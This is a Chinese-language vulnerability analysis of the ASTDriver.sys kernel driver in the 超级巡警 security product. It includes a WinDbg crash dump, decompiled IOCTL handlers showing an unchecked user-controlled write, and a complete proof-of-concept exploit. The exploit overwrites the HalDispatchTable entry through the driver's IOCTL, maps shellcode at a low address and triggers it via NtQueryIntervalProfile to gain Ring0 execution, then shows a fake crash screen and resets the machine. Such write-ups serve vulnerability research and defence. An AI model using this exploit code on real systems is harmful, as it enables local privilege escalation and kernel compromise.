该漏洞是我2010年4月6日晚上,通过自己的IoControl Fuzz工具挖掘的。漏洞存在于超级巡警ASTDriver.sys这个驱动中,影响超级巡警v4 Build0316和以前的版本。利用该漏洞能够实现本地特权提升,进Ring0。
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 89441428, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9c7569b, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
PROCESS_NAME: ast.exe
TRAP_FRAME: f94f1b00 -- (.trap 0xfffffffff94f1b00)
ErrCode = 00000002
eax=89441428 ebx=81266840 ecx=89441428 edx=ffa7c2d8 esi=81312da0 edi=811fc230
eip=f9c7569b esp=f94f1b74 ebp=f94f1b90 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
ASTDriver+0x169b:
f9c7569b c70000000000 mov dword ptr [eax],0 ds:0023:89441428=????????
Resetting default scope
STACK_TEXT:
f94f1634 804f9afd 00000003 89441428 00000000 nt!RtlpBreakWithStatusInstruction
f94f1680 804fa6e8 00000003 00000000 c044a208 nt!KiBugCheckDebugBreak+0x19
f94f1a60 804fac37 00000050 89441428 00000001 nt!KeBugCheck2+0x574
f94f1a80 80520478 00000050 89441428 00000001 nt!KeBugCheckEx+0x1b
f94f1ae8 80544568 00000001 89441428 00000000 nt!MmAccessFault+0x9a8
f94f1ae8 f9c7569b 00000001 89441428 00000000 nt!KiTrap0E+0xd0
WARNING: Stack unwind information not available. Following frames may be wrong.
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
f94f1bc4 804efeb1 81286f18 81266840 806e5410 ASTDriver+0x1184
f94f1bd4 8057f688 812668b0 8125fbe8 81266840 nt!IopfCallDriver+0x31
f94f1be8 805804eb 81286f18 81266840 8125fbe8 nt!IopSynchronousServiceTail+0x60
f94f1c84 8057904e 00000928 00000000 00000000 nt!IopXxxControlFile+0x5c5
f94f1cb8 f74ecb12 00000928 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f94f1d34 8054160c 00000928 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0x892
//省略……
从上面分析中的栈回溯可以看出,问题发生在ASTDriver+0x169b所在的函数中,这个函数是从ASTDriver+0x1184所在的函数调用过来的。因此我们先定位到ASTDriver+0x1184所在的函数,如下所示:
signed int __stdcall sub_110D0(int a1, PIRP Irp)
{
signed int result; // eax@2
int pIrpStack; // [sp+8h] [bp-1Ch]@1
int v4; // [sp+Ch] [bp-18h]@10
int secondDWORD; // [sp+10h] [bp-14h]@3
PVOID systemBuffer; // [sp+18h] [bp-Ch]@1
int firstDWORD; // [sp+1Ch] [bp-8h]@3
int IoControlCode; // [sp+20h] [bp-4h]@3
pIrpStack = (int)Irp->Tail.Overlay.CurrentStackLocation;
systemBuffer = Irp->AssociatedIrp.MasterIrp;
if ( *(_DWORD *)(pIrpStack + 8) == 16 )
{
secondDWORD = *((_DWORD *)systemBuffer + 1);
firstDWORD = *(_DWORD *)systemBuffer;
IoControlCode = *(_DWORD *)(pIrpStack + 12);
switch ( IoControlCode )
{
case 0x50000404:
v4 = sub_112B0(firstDWORD, secondDWORD, *((PVOID *)systemBuffer + 2), *((_DWORD *)systemBuffer + 3));
break;
case 0x50000408:
v4 = sub_11690((PVOID)firstDWORD, secondDWORD);
break;
case 0x5000040C:
v4 = sub_11810((PVOID)firstDWORD, secondDWORD);
break;
}
IofCompleteRequest(Irp, 0);
result = v4;
}
else
{
IofCompleteRequest(Irp, 0);
result = 0xC000000Du;
}
return result;
}
该函数实际上就是驱动的派遣函数。当IoControlCode为0x50000408时,会调用sub_11690函数,参数有两个,第一个参数是用户输入缓冲区中的第一个DWORD,第二个参数是用户输入缓冲区的第二个DWORD。从Windbg输出的被随机化的用户输入数据可以看到,这两个 DWORD分别是0x89441428和0x5fea3278,这一点和栈回溯的结果是一致的。
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
接下来,我们需要分析一下sub_11690函数的内部逻辑,
signed int __stdcall sub_11690(PVOID firstDWORD, int secondDWORD)
{
signed int result; // eax@2
unsigned int v3; // [sp+0h] [bp-1Ch]@6
int v4; // [sp+4h] [bp-18h]@6
int v5; // [sp+14h] [bp-8h]@6
PVOID v6; // [sp+18h] [bp-4h]@15
*(_DWORD *)firstDWORD = 0;
if ( secondDWORD == 32 )
{
if ( MmIsAddressValid(firstDWORD) && MmIsAddressValid(firstDWORD + secondDWORD - 1) )
{
//省略部分代码……
}
}
return result;
}
这个函数有一个致命的错误,函数开头没有对firstDWORD进行任何检查,直接向firstDWORD地址所指向的DWORD赋值为0,而 firstDWORD是我们可以控制的。
至此,该漏洞已经分析完毕。漏洞利用起来也非常简单,只要将要修改的Ring0内存地址放在输入缓冲区的第一个DWORD即可。然后向设备\device \ASTDrivers发送IoControlCode为0x50000408的IoControl。这样便实现了向任意地址写0的作用。
另外,如果进一步研究上面sub_11690函数的内部逻辑,如果不利用“*(_DWORD *)firstDWORD = 0;”这句代码的漏洞,函数中还有其他几处漏洞可以利用,最终实现向任意地址写入任意数据的效果。
测试方法
- #include "ASTDrivers_Exp.h"
- #include "InvbShellCode.h"
- #define BUFFER_LENGTH 0x04
- #define IOCTL_METHOD_NEITHER 0x5000040c
- VOID InbvShellCode()
- {
- __asm
- {
- //
- // KeDisableInterrupts
- //
- pushf
- pop eax
- and eax, 0x0200
- shr eax, 0x09
- cli
- //
- // Prepareing Screen
- //
- call InbvAcquireDisplayOwnership
- call InbvResetDisplay
- sub esi, esi
- push 0x04
- mov edi, 0x01DF
- push edi
- mov ebx, 0x027F
- push ebx
- push esi
- push esi
- call InbvSolidColorFill
- push 0x0F
- call InbvSetTextColor
- push esi
- call InbvInstallDisplayStringFilter
- inc esi
- push esi
- call InbvEnableDisplayString
- dec edi
- dec edi
- push edi
- push ebx
- dec esi
- push esi
- push esi
- call InbvSetScrollRegion
- lea eax, BugCheckString
- push eax
- call InbvDisplayString
- mov esi, 0x80000000
- mov ecx, esi
- //
- // Countdown
- //
- __loop01:
- dec ecx
- jnz __loop01
- lea eax, BugCheck01
- push eax
- call InbvDisplayString
- mov ecx, esi
- __loop02:
- dec ecx
- jnz __loop02
- lea eax, BugCheck02
- push eax
- call InbvDisplayString
- mov ecx, esi
- __loop03:
- dec ecx
- jnz __loop03
- lea eax, BugCheck03
- push eax
- call InbvDisplayString
- mov ecx, esi
- __loop04:
- dec ecx
- jnz __loop04
- lea eax, BugCheck04
- push eax
- call InbvDisplayString
- mov ecx, esi
- shl ecx, 0x01
- __loop05:
- dec ecx
- jnz __loop05
- //
- // Reseting Processor
- //
- mov al, 0xFE
- out 0x64, al
- }
- }
- PVOID RtlAllocateMemory(
- IN ULONG Length)
- {
- NTSTATUS NtStatus;
- PVOID BaseAddress = NULL;
- NtStatus = NtAllocateVirtualMemory(
- NtCurrentProcess(),
- &BaseAddress,
- 0,
- &Length,
- MEM_RESERVE |
- MEM_COMMIT,
- PAGE_READWRITE);
- if(NtStatus == STATUS_SUCCESS)
- {
- RtlZeroMemory(BaseAddress, Length);
- return BaseAddress;
- }
- return NULL;
- }
- VOID RtlFreeMemory(
- IN PVOID BaseAddress)
- {
- NTSTATUS NtStatus;
- ULONG FreeSize = 0;
- NtStatus = NtFreeVirtualMemory(
- NtCurrentProcess(),
- &BaseAddress,
- &FreeSize,
- MEM_RELEASE);
- }
- char g_ressdtDataForAst[32]={0};
- char g_ressdtInputBuffer[16]={0};//输入的缓冲区
- int __cdecl main(int argc, char **argv)
- {
- NTSTATUS NtStatus;
- HANDLE DeviceHandle;
- ULONG ReturnLength = 0;
- ULONG ImageBase;
- PVOID MappedBase;
- UCHAR ImageName[KERNEL_NAME_LENGTH];
- ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
- PVOID HalDispatchTable;
- PVOID xHalQuerySystemInformation;
- PVOID MmUserProbeAddress;
- ULONG ShellCodeSize = PAGE_SIZE;
- PVOID ShellCodeAddress;
- PVOID BaseAddress = NULL;
- UNICODE_STRING DeviceName;
- UNICODE_STRING DllName;
- ANSI_STRING ProcedureName;
- OBJECT_ATTRIBUTES ObjectAttributes;
- IO_STATUS_BLOCK IoStatusBlock;
- SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
- LARGE_INTEGER Interval;
- ULONG TextColor;
- ///////////////////////////////////////////////////////////////////////////////////////////////
- system("cls");
- NtStatus = NtQuerySystemInformation(
- SystemModuleInformation,
- ModuleInformation,
- ReturnLength,
- &ReturnLength);
- if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
- {
- ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
- ModuleInformation = RtlAllocateMemory(ReturnLength);
- if(ModuleInformation)
- {
- NtStatus = NtQuerySystemInformation(
- SystemModuleInformation,
- ModuleInformation,
- ReturnLength,
- NULL);
- if(NtStatus == STATUS_SUCCESS)
- {
- ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
- RtlMoveMemory(
- ImageName,
- (PVOID)(ModuleInformation->Modules[0].ImageName +
- ModuleInformation->Modules[0].ModuleNameOffset),
- KERNEL_NAME_LENGTH);
- printf(" +----------------------------------------------------------------------------+\n"
- " | ImageBase - 0x%.8X |\n"
- " | ImageName - %s |\n",
- ImageBase,
- ImageName);
- RtlFreeMemory(ModuleInformation);
- RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
- NtStatus = LdrLoadDll(
- NULL, // DllPath
- &DllCharacteristics, // DllCharacteristics
- &DllName, // DllName
- &MappedBase); // DllHandle
- if(NtStatus)
- {
- printf(" [*] NtStatus of LdrLoadDll - %.8X\n", NtStatus);
- return NtStatus;
- }
- RtlInitAnsiString(&ProcedureName, "HalDispatchTable");
- NtStatus = LdrGetProcedureAddress(
- (PVOID)MappedBase, // DllHandle
- &ProcedureName, // ProcedureName
- 0, // ProcedureNumber OPTIONAL
- (PVOID*)&HalDispatchTable); // ProcedureAddress
- if(NtStatus)
- {
- printf(" [*] NtStatus of LdrGetProcedureAddress - %.8X\n", NtStatus);
- return NtStatus;
- }
- (ULONG)HalDispatchTable -= (ULONG)MappedBase;
- (ULONG)HalDispatchTable += ImageBase;
- (ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);
- printf(" | |\n"
- " | HalDispatchTable - 0x%.8X |\n"
- " | xHalQuerySystemInformation - 0x%.8X |\n"
- " +----------------------------------------------------------------------------+\n",
- HalDispatchTable,
- xHalQuerySystemInformation);
- NtStatus = XxInitInbv(ImageBase, (ULONG)MappedBase);
- if(NtStatus)
- {
- printf(" [*] NtStatus of XxInitInbv - %.8X\n", NtStatus);
- return NtStatus;
- }
- LdrUnloadDll((PVOID)MappedBase);
- RtlInitUnicodeString(&DeviceName, L"\\Device\\ASTDrivers");
- ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
- ObjectAttributes.RootDirectory = 0;
- ObjectAttributes.ObjectName = &DeviceName;
- ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
- ObjectAttributes.SecurityDescriptor = NULL;
- ObjectAttributes.SecurityQualityOfService = NULL;
- NtStatus = NtCreateFile(
- &DeviceHandle, // FileHandle
- FILE_READ_DATA |
- FILE_WRITE_DATA, // DesiredAccess
- &ObjectAttributes, // ObjectAttributes
- &IoStatusBlock, // IoStatusBlock
- NULL, // AllocationSize OPTIONAL
- 0, // FileAttributes
- FILE_SHARE_READ |
- FILE_SHARE_WRITE, // ShareAccess
- FILE_OPEN_IF, // CreateDisposition
- 0, // CreateOptions
- NULL, // EaBuffer OPTIONAL
- 0); // EaLength
- if(NtStatus)
- {
- printf(" [*] NtStatus of NtCreateFile - %.8X\n", NtStatus);
- return NtStatus;
- }
- memset(g_ressdtDataForAst,0,32);
- memset(g_ressdtInputBuffer,0,16);
- *(DWORD *)g_ressdtDataForAst=2;
- *(DWORD *)((ULONG)g_ressdtDataForAst+4)=0xFF;
- *(DWORD *)((ULONG)g_ressdtDataForAst+8)=(DWORD)xHalQuerySystemInformation;
- *(DWORD *)((ULONG)g_ressdtDataForAst+12)=2;
- *(ULONG *)((ULONG)g_ressdtDataForAst+16)=4;
- *(ULONG *)((ULONG)g_ressdtDataForAst+20)=0x90;
- *(ULONG *)((ULONG)g_ressdtDataForAst+24)=0x90;
- *(ULONG *)((ULONG)g_ressdtDataForAst+28)=0x90;
- //设置缓冲区中的指针 使其指向真实的结构体
- *(DWORD *)g_ressdtInputBuffer=(DWORD)g_ressdtDataForAst;
- NtStatus = NtDeviceIoControlFile(
- DeviceHandle, // FileHandle
- NULL, // Event
- NULL, // ApcRoutine
- NULL, // ApcContext
- &IoStatusBlock, // IoStatusBlock
- IOCTL_METHOD_NEITHER, // IoControlCode
- g_ressdtInputBuffer, // InputBuffer
- 16, // InputBufferLength
- 0, // OutputBuffer
- 0); // OutBufferLength
- if(NtStatus)
- {
- printf(" [*] NtStatus of NtDeviceIoControlFile [1] - %.8X\n", NtStatus);
- //return NtStatus;
- }
- ShellCodeAddress = (PVOID)sizeof(ULONG);
- NtStatus = NtAllocateVirtualMemory(
- NtCurrentProcess(), // ProcessHandle
- &ShellCodeAddress, // BaseAddress
- 0, // ZeroBits
- &ShellCodeSize, // AllocationSize
- MEM_RESERVE |
- MEM_COMMIT |
- MEM_TOP_DOWN, // AllocationType
- PAGE_EXECUTE_READWRITE); // Protect
- if(NtStatus)
- {
- printf(" [*] NtStatus of NtAllocateVirtualMemory - %.8X\n", NtStatus);
- return NtStatus;
- }
- RtlMoveMemory(
- ShellCodeAddress,
- (PVOID)InbvShellCode,
- ShellCodeSize);
- Interval.LowPart = 0xFF676980;
- Interval.HighPart = 0xFFFFFFFF;
- printf("\n 3");
- NtDelayExecution(FALSE, &Interval);
- printf(" 2");
- NtDelayExecution(FALSE, &Interval);
- printf(" 1");
- NtDelayExecution(FALSE, &Interval);
- printf(" Hoop\n\n");
- NtDelayExecution(FALSE, &Interval);
- NtStatus = NtQueryIntervalProfile(
- ProfileTotalIssues, // Source
- NULL); // Interval
- if(NtStatus)
- {
- printf(" [*] NtStatus of NtQueryIntervalProfile - %.8X\n", NtStatus);
- return NtStatus;
- }
- NtStatus = NtClose(DeviceHandle);
- if(NtStatus)
- {
- printf(" [*] NtStatus of NtClose - %.8X\n", NtStatus);
- return NtStatus;
- }
- }
- }
- }
- return FALSE;
- }